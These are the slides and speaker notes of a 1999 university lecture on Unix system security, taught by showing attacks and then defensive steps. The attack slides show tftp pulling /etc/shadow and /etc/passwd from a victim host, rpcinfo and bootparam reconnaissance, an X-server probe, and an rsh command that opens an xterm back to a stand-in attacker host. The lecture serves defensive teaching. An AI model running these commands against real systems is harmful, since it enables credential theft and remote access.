Secure Systems Administration Lecture 2

(or Security through preparation)

"It's noble to be good. It's nobler to teach others to be good, and less trouble."
- Wit and Wisdom of Mark Twain, Alex Ayres

By Leeland Artra

Cellworks Project

University of Washington

This presentation should be online as:

http://www.sasag.org/1999/01/hack_yourself_part2.pdf

Notes:

Secure Systems Administration Lecture 2

(or Security through hacking yourself)

"Its much more fun to be sand than oil in the machinery of life."
- Hacking saying

By Leeland Artra

Cellworks Project
University of Washington

This presentation should be online as:
http://www.sasag.org/1999/01/hack_yourself_part2.pdf

Notes:

Overview

A. The Problem (Lecture 1)

a. a.Definition of the common problems

b. b.A real example of exploiting "harmless" services

c. c.Discussion of the New World

d. d.References and Summary

B. Protecting your site (Lecture 2 beta)

a. Definition of the common problems (review)

b. Top security tips for systems

c. Some tools

d. References and Summary

Notes:

The topic of systems security can easily span a two week course. There is no way to completely discuss it in one session. Nor is it possible to deal with the subject in two 2 hour sessions.

These lectures are intended to be the sparks that get an ember burning in your mind. Remember it is an ember ONLY. To fully gain from these lectures you must explore, read, search, and above all imagine how to use the knowledge you are gaining.

The days of the 'old hacker' (when a hacker was a kid without experience or real knowledge with loads of free time) are NO LONGER. Hackers, and worse Crackers have knowledge, imagination, and in a lot of cases TALENT. This can be a very bad combination if your job is to keep them out.

Most Systems Administrators are just like a construction worker with a huge job site, loads of construction materials, but, no tools, no time and no PLAN. Hopefully you can begin getting the construction materials together. You have to have permission to test your tools, materials and IDEAS.

Approach

A. Taking the least walked path

a. Instead of "There is a problem" Theory discussion, show a set of how to’s

b. Show "harmless" services can be used to attack your site

B. Trying to illuminate more advanced intrusions

a. Show methods known to be used

b. Suspected methods that might be used

c. Creating more aware Systems Administrators

Notes:

This talk is very different from the "norm" on system security talks. Even as recent as November 1998 a MAJOR Unix and systems administrations magazine published a series of articles on "Systems Security". However, after reading the series I was disappointed to have gained ZERO additional knowledge. The articles regurgitated the same tired chant "beware the evil hacker, beware telnet misconfigurations, beware ftp misconfigurations, beware SMTP misconfigurations, beware TFTP, beware Web Servers set-ups, beware NFS, beware NIS, ..." In other words all the open ports on your servers that we need. But, it did not detail the PROBLEMS.

So instead I'll lay out the details complete enough for you to understand. In fact instead of saying that service X is a possible problem, I will help you to see through the eyes of a potential intruder. Hopefully, this will show why it is one.

In the end I want you to: understand the various mechanisms that crackers have actually used to obtain access to systems; see how a seemingly harmless network service can become a valuable tool in the search for weak points of a system; learn some techniques security experts either suspect intruders of using, or that I have used in tests against authorized environments; and, know where to start your own line of inquiry into the world of tools and information at the beck and call of the wanna-be hackers.

My motivation for doing this is that system administrators are often unaware of the dangers presented by anything beyond the most trivial attacks. The purpose of this talk is to show you how to test the security of your own site, not how to break into other people's systems.

Review

- Default is unsecure
- Crackers & Hackers are knowledgeable
- First step is to get access
- Second is to insure a return path
- Lots of tools available to attack with
- Sniffing works
- Spoofing Works
- Lots of ways to hide once on the system

Notes:

Ok these topics were covered in detail in part one of this lecture. But, a quick review is in order.

Some of this information is most likely completely new to a number of Systems Administrators. Including the occasional SAs who should be considered senior. Why? The majority of security experts have been trying to restrict information about these problems because it is "dangerous" security knowledge. But, this approach has been less than effective at increasing security. In my opinion the opposite is true. Simply due to the fact that the attackers are sharing their information with each other. So while the attacking knowledge has grown the defenders are left without the information to defend with!

More Sites are Insecure than Secure

Knowing why something is a problem is the KEY

- Recent tests have shown more sites vulnerable to known attacks than not
- Systems Administrators are not stupid, just too busy to explore security issues (until it becomes a issue)
- Current estimates are that a large majority of attacks are from INTERNAL systems
- With the right plan an hour's work can stop 90% of all attacks

Notes:

Every security expert who writes a book, article or talk, including me (although I do not want to be classified as an expert, I'll get broken into far more often than I do now) agrees that there are a lot more unsecure sites on the Internet than secure sites.

But, interestingly its due to under staffing. So SAs will benefit with higher salaries, and the security experts will be able to keep charging huge amounts of fees for the foreseeable future.

The one thing that is worse than a knowledgeable cracker attacking your firewalls, is a naive angry, highly motivated engineer who just wants to cause some damage. But, that last person is working for your company. So all your dirty laundry is well known.

Even the most experienced hacker can't get into a system easily if all the primary holes are repaired. Since the repairs are all prefab style, why let the northern winds constantly blow through your house?

Attacking with tftp

tftp - Trivial File Transfer Protocol. AKA ftp without password requirements

- Runs as root (to bind to the lower port)

```
dark$ tftp
tftp> connect victim.com
tftp> get /etc/shadow /tmp/shadow.victim
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit
```

- Restricting access done through inetd.conf flag
- If you have no choice at least force it into a non-important directory and use a chroot wrapper

Notes:

TFTP is a really insecure service. Unfortunately it is sometimes required by a critical device. So if you must run it take the time to make SURE it is chroot’d to a secure directory that does not have anything other than the needed files for the tftp dependent device(s).

By the way tftp can also be used to PUT files onto the server system.

Attacking with rpcinfo

- Very handy (normally unlogged) probe
- Usually more handy than finger to attackers
- rpcinfo talks directly to the portmapper
- Tell if running NIS, NIS+, NFS, ruserd, rstatd, etc.
- Also will show if any diskless clients are around

```
dark$ rpcinfo -p victim.com
[trimmed output]
program  vers  proto port
100004     2     tcp    673 ypserv
100005     3     udp   721 mountd
100026     2     udp   733 bootparam
```

<u>Notes</u>:

Armed with information on your server an attacker can easily pick the different doors to try. Why waste time with a port scanner if your server will just explain the available paths.

Additionally the version numbers allow for even more specific attacks.

Attacking with bootparam

- Not generally considered a major threat
- But with a simple program machine specific information can be obtained
- Example: NIS domainname (aka the password to your NIS database files)

```
char *server;
struct bp_whoami_arg arg; // query
struct bp_whoami_res res; // reply
// init omitted
callrpc(server, BOOTPARAMPROG, BOOTPARAMVRS,
    BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &arg,
    xdr_bp_whoami_res, &res);
printf("%s has NIS domain %s\n", server, res.domain_name);
```

Notes:

There is a lot more information that can be gotten. For example, the name server, the netmask, the tftp server, the location of the root file system, the mount locations, etc. Try looking over the configuration of bootparams file.

We are not covering sendmail since it requires a couple of hours by itself. But, one thing to know is that some current vender sendmail implementations include the NIS domain name in the headers. This makes getting the NIS domain name as easy as sending a badly addressed e-mail message to a sendmail active station. Make sure to use the latest sendmail on your servers and turn it off every where else.

Attacking with X

If X is running and not properly secured with xhosts or magic cookies it is vulnerable to:

- window display capture
- user keystrokes monitoring
- user keystrokes emulation
- remote program execution
- plus more

A X server can be probed with 6 lines of C code using the XOpenDisplay(hostname) library call

Notes:

Probing a X server is as easy as:

```
char *hostname;
if ( XOpenDisplay(hostname) == NULL ) {
    printf("Host %s is secure.\n", hostname);
} else {
    printf("Host %s is open for attack.\n", hostname);
}
```

From here many possibilities are available.

Attacking via an X terminal

Although X terminals have no real resources of their own, they are windows to the systems that do have resources.

MANY X terminals permit UNRESTRICTED rsh access

Hence starting an Xterm as a logged in user is as easy as:

```
dark$ xhost +xbuddy.victim.com
dark$ rsh xbuddy.victim.com xterm
      victim.com -display dark.evil.org
```

Notes:

Nifty way into the server. Plus, if the user has no-password access via the xterm using rlogin even easier. But, a simple ’+’ in the xhosts file on ANY X client will make that client as vulnerable as the X terminal.

So the windows to your system must be as secure as your other routes in.

Attacking using rexd

- rexd operates like rsh
- unlike rsh, rexd does not care if the client host is in hosts.equiv or .rhosts files
- Normally rexd is used simply for the "on" command
- But, it only requires a short bit of C code to send arbitrary client and host data to the rexd service. Then rexd will gladly execute the requested command.
- Turn this one off.

Notes:

There is little to be said on rexd. I have never seen a site that couldn’t live without it. But, there will be one one day. Secure RPC provides rexd with a bit more security. But, it is still very unsafe.

Protecting Your Systems

By now you should be firmly in the "**Just because you’re paranoid doesn’t mean *THEY* aren’t out to get you**" camp.

- Security requires a mindset of paranoia
- If you want to be secure look at the big picture
- You can easily spend your whole life in security and still get cracked
- Nothing is secure

Notes:

I hope that you now know that even the simplest of services can be used as a crowbar to open your site. Of course, if you are prepared and watching you can secure your site, and be aware of the holes you had to leave open.

Strangely enough if it wasn’t for the need to use computers we could secure them by turning them all off. Instead we work on them and connect them to networks with potentiality billions of other computers and PEOPLE. By the laws of averages a LOT of those other people will want to break in.

So the best I can do now is provide some general guides that if followed will stop 90% of the attacks.

Step 1 Risk Assessment

Before anything else is done, know what it is that you want to protect & why you want to protect it.

- Securing everything is a good idea but hard to do
- Can’t hit a target if you don’t know what you are shooting for
- Measuring effectiveness and performance against a mark on is much easier than against thin air

Notes:

Even though this is usually admitted to being the most important step, it is easy to skim past it. But, if you just start securing things, you have no idea how effective you are (or are not).

The way most people I have found out what was important was by the managers asking if such-and-such was compromised after an attack. If such-and-such wasn’t even being watched the answer can be pretty embarrassing.

Step 2 Know Your Site

Obvious (but missed)

- **What is connected to what?**
- **Who is using what?**
- **Which machines are servers?**
- **Which machines are clients?**
- **What services are turned on?**

Notes:

Most networks are changing day to day. But, in order to maintain security you have to know what is going on. You must map your site, sketch your network, take notes on what machine is doing what.

Most importantly know your users. They will be part of your eyes and ears for the systems' health.

Step 3 Stay Alert

- **Know what security holes you are vulnerable to**
- **Keep up with your venders’ patch releases**
- **Examine other venders’ security patches (most systems have similar problems)**
- ***Know what a ’normal’ day looks like on your systems and network***

Notes:

Once you know what you have you can then begin to track what is needed. Develop a routine for checking things out. Make sure you visit everything regularly.

Generating reports using packet sniffers, or tcpdump, or any number of other tools will let you know if something is different. Also, when things do go wrong you will know what is different and thus be able to trouble shoot much faster.

Security holes happen, patches and work arounds come out regularly. If you are not fixing the pot holes in your security, your security will just get worse and worse.

Step 4 A Workable Security Policy

- **Often skipped as well**
- **Very hard and tedious work**
- **Easy to go overboard**
- **Include protocols to be served and not to be active**
- **expect the policy to grow and change with your site's needs**
- ***Just do it*, even without management support**

Notes:

Choose the best approach for your site either: "What is not explicitly allowed is denied" or "What is not explicitly denied is allowed". And work your way out from there. Make sure you list the protocols to be disabled or enabled.

Allow for work to get done. Remember that security is often directly inverse to convenience. So going too far will get your users up in arms and solve nothing.

Step 5 Know Your Network Protocol

You can not configure something if you do not understand how it works.

- **So you can not patch and secure TCP/IP or IPX without studying them**
- **You must take the time to know what you are doing when you change the configuration files**
- **Getting to know TCP will not hurt your career**

Notes:

Enough said on this topic I am sure.

Step 6 Only Turn On What is Needed

If you are not using it why waste the energy? If you later need it turn it back on.

- Limit your worry zone and live longer
- Explicitly turn off IP_Forwarding
- Don’t run NIS
- Never Export NFS without an access list
- Examine all active services in inetd.conf for more secure means to be run or to be turned off
- Turn off fingerd (or replace it)

<u>Notes</u>:

Hey stress is a killer. So why add to your stress levels?

NIS and NFS are problem solvers and creators all at once. NIS+ is not much better (but it is a tad more secure). Don’t run these services if you don’t have to.

Fingerd is so little used. Yet, it can give away data about your site and host. So turn it off. Or pick up one of the many versions (like the GNU version). There is no reason to give out user’s home directories and the source of the last login (time is fine).

Basically lock the doors.

Step 7 Eliminate Trust

Why trust ALL your computers. If the trust is not needed toss it.

- **Accept only trusted hosts from trusted interfaces**
- **Try to rearrange services to limit trust requirements**
- **Unfortunately trust is the enemy in this war**

Notes:

Use tcpwrappers to double check all RPC services. Rlogin is great but do you really care that much about the 3 seconds it takes to login.

Also, you can run stand alone daemons in their own chroot areas. This adds good protection for a little effort.

Step 8 Log & Scan

Preventing break ins is great. But, detecting them before they get to far is just as important.

- **tail -f to your syslog file**
- **Get a secured log server**
- **log to a machine that ONLY does logging and accepts no logins**
- **use tripwire or COPS regularly**
- **Run crack on your passwords**

Notes:

It is possible to configure syslogd to talk to a serial port. You can then hook up another computer by only that serial port and have perl running to collect and analyze the data stream. Paranoia kicks in good for this topic.

Crack will keep you up on your user’s slackedness (or lack thereof). Watching the syslogd output is not hard and eventually becomes a background task.

COPS and tripwire both allow you to proactively detect if you are being attacked. These are worth a long look.

Step 9 Keep Up

Stay up with all the current literature. The security mailing lists are noisy but quickly parsed.

- **At least:**
  - *get on the CERT mailing list*
  - *subscribe to phrack magazine*
- **consider:**
  - *firewall mailing lists*
  - *usenet security news groups*

Ignorance is your deepest weakness (usually deadly)

Notes:

Free Security resources:

- CERT (Computer Emergency Response Team) e-mail to cert@cert.org and ask to be placed on the mailing list (www.cert.org)
- Firewalls mailing list (high volume) e-mail to majordomo@greatcircle.com with a body of: subscribe firewalls
- Phrack newsletter e-mail to phrack@well.sf.ca.us and ask to be placed on the mailing list (www.phrack.com)

COAST	http://www.cs.purdue.edu/coast/coast.html
Greatcircle's Firewall List Archives	http://www.greatcircle.com/firewalls
USENIX Association	http://www.usenix.org/
Transarc's Andrew File System	http://www.transarc.com/afs/transarc.com/public/www/Public/ProdServ/Product/AFS/index.html
InterNIC's Internet RFCs	http://www.ds.internic.net/ds/dspg0intdoc.html
Internet Security Systems	http://www.iss.net/sec_info/
Computer Underground Digest	http://www.soci.niu.edu/~cudigest
CIAC	http://ciac.llnl.gov/
NRL Network Security Research Section	http://tonnant.itd.nrl.navy.mil/5544.html
UC Davis	http://seclab.cs.ucdavis.edu/
IP Security and ISAKMP+Oakley software distribution site at MIT	http://web.mit.edu/network/isakmp
cisco Systems' IP Security web site	http://www.cisco.com/public/library/isakmp/ipsec.html
Defense Information Systems Agency (DISA)	http://mattche.iiie.disa.mil

Conclusion

- **These measures only cover 80-90% of the attacks.**
- **These steps do not cost any money.**
- **Once done they stay done (for the most part).**
- **Always weigh the costs of something against the risk.**
- **A lot of sites are vulnerable to these simple attacks.**
- **Your mileage may vary.**
- **Good luck.**

Notes: